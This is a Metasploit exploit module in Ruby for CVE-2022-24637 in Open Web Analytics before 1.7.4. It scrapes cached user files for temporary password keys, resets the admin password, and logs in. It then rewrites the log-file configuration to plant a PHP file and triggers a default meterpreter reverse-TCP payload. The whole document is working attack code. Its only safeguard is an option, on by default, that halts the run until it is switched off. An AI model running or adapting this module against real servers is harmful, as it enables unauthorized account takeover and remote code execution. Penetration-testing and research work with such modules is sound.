class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Open Web Analytics 1.7.3 - Remote Code Execution (RCE)',
        'Description' => %q{
          Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive
          user information, which can be used to gain admin privileges by leveraging cache hashes.
          This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled
          by the PHP interpreter.
        },
        'Author' => [
          'Jacob Ebben',    # ExploitDB Exploit Author
          'Dennis Pfleger'  # Msf Module
        ],
        'References' => [
          [ 'CVE', '2022-24637'],
          [ 'EDB', '51026'],
          [ 'URL', 'https://devel0pment.de/?p=2494' ]
        ],
        'Licence' => MSF_LICENSE,
        'Platform' => ['php'],
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Targets' => [ ['Automatic', {}] ],
        'DisclosureDate' => '2022-03-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            ARTIFACTS_ON_DISK, # /owa-data/caches/{get_random_string(8)}.php
            IOC_IN_LOGS, # Malicious GET/POST requests in the webservice logs
            ACCOUNT_LOCKOUTS, # Account passwords will be changed in this module
            CONFIG_CHANGES, # Will update config files to trigger the exploit
          ]
        }
      )
    )

    register_options([
      OptString.new('Username', [ true, 'Target username', 'admin' ]),
      OptString.new('Password', [ true, 'Target new password', 'pwned' ]),
    ])

    register_advanced_options([
      OptInt.new('SearchLimit', [ false, 'Upper limit of user ids to check for usable cache file', 100 ]),
      OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
    ])
  end

  def check
    res = check_connection
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Safe if !res.body.include?('Open Web Analytics')

    version = Rex::Version.new(res.body.scan(/version=([\d.]+)/).flatten.first)
    return CheckCode::Detected("Open Web Analytics #{version} detected") unless version < Rex::Version.new('1.7.4')

    CheckCode::Appears("Open Web Analytics #{version} is vulnerable")
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute the exploit against the target system?
        Running this exploit will change user passwords and config files of the
        target system.

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    username = datastore['Username']
    new_password = datastore['Password']

    res = check_connection
    if res
      print_good("Connected to #{full_uri} successfully!")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
      'keep_cookies' => true,
      'vars_post' => {
        'owa_user_id' => username,
        'owa_password' => rand_text_alphanumeric(8),
        'owa_action' => 'base.login'
      }
    )
    if res && res.code != 200
      fail_with(Failure::UnexpectedReply, 'An error occurred during the login attempt!')
    end

    print_status("Attempting to find cache of '#{username}' user")

    found = false
    cache = nil

    limit = datastore['SearchLimit']
    if limit < 0
      fail_with(Failure::BadConfig, 'SearchLimit must be set to a number > 0!')
    end

    limit.times do |key|
      user_id = "user_id#{key}"
      userid_hash = Digest::MD5.hexdigest(user_id)
      filename = "#{userid_hash}.php"
      cache_request = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{key}/owa_user/#{filename}")
      )
      if cache_request && cache_request.code == 404
        next
      end

      cache_raw = cache_request.body
      cache = get_cache_content(cache_raw)
      cache_username = get_cache_username(cache)
      if cache_username != username
        print_status("The temporary password for a different user was found. \"#{cache_username}\": #{get_cache_temppass(cache)}")
        next
      else
        found = true
        break
      end
    end

    if !found
      fail_with(Failure::NotFound, "No cache found. Are you sure \"#{username}\" is a valid user?")
    end

    cache_temppass = get_cache_temppass(cache)
    print_good("Found temporary password for user '#{username}': #{cache_temppass}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.usersPasswordEntry'),
      'keep_cookies' => true,
      'vars_post' => {
        'owa_password' => new_password,
        'owa_password2' => new_password,
        'owa_k' => cache_temppass,
        'owa_action' => 'base.usersChangePassword'
      }
    )

    if res && res.code != 302
      fail_with(Failure::UnexpectedReply, 'An error occurred when changing the user password!')
    end
    print_good("Changed the password of '#{username}' to '#{new_password}'")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
      'keep_cookies' => true,
      'vars_post' => {
        'owa_user_id' => username,
        'owa_password' => new_password,
        'owa_action' => 'base.login'
      }
    )

    redirect = res['location']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => URI(redirect).path
    )
    if res && res.code == 200
      print_good("Logged in as #{username} user")
    else
      fail_with(Failure::UnexpectedReply, "An error occurred during the login attempt of user #{username}")
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral')
    )

    shell_filename = "#{rand_text_alphanumeric(8)}.php"

    nonce = get_update_nonce(res)
    log_location = 'owa-data/caches/' + shell_filename
    register_file_for_cleanup(shell_filename)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
      'keep_cookies' => true,
      'vars_post' => {
        'owa_nonce' => nonce,
        'owa_action' => 'base.optionsUpdate',
        'owa_config[base.error_log_file]' => log_location,
        'owa_config[base.error_log_level]' => 2
      }
    )
    fail_with(Failure::Unreachable, 'An error occurred when attempting to update config!') unless res && res.code == 302
    print_status('Creating log file')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
      'keep_cookies' => true,
      'vars_post' => {
        'owa_nonce' => nonce,
        'owa_action' => 'base.optionsUpdate',
        'owa_config[shell]' => payload.encoded + '?>'
      }
    )
    fail_with(Failure::Unknown, 'An error occurred when attempting to update config!') unless res && res.code == 302
    print_good('Wrote payload to file')

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{shell_filename}"),
      timeout: 1
    )

    print_good('Triggering payload! Check your listener!')
  end

  def check_connection
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm')
    )
  end

  def get_cache_content(cache_raw)
    regex_cache_base64 = /\*(\w*={0,2})/
    regex_result = cache_raw.match(regex_cache_base64)

    unless regex_result
      fail_with(Failure::NotVulnerable, 'The serialized data can not be extracted from the cache file!')
    end

    Base64.decode64(regex_result[1]).force_encoding('ascii')
  end

  def get_cache_username(cache)
    match = cache.match(/"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"/)

    unless match
      fail_with(Failure::NotVulnerable, 'The username can not be extracted from the cache file!')
    end

    match[1]
  end

  def get_cache_temppass(cache)
    match = cache.match(/"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"/)

    unless match
      fail_with(Failure::NotVulnerable, 'The temp_passkey variable can not be extracted from the cache file!')
    end

    match[1]
  end

  def get_update_nonce(page)
    update_nonce = page.body.match(/owa_nonce" value="(\w*)"/)[1]

    unless update_nonce
      fail_with(Failure::NotVulnerable, 'The update_nonce variable can not be extracted from the page body!')
    end

    update_nonce
  end
end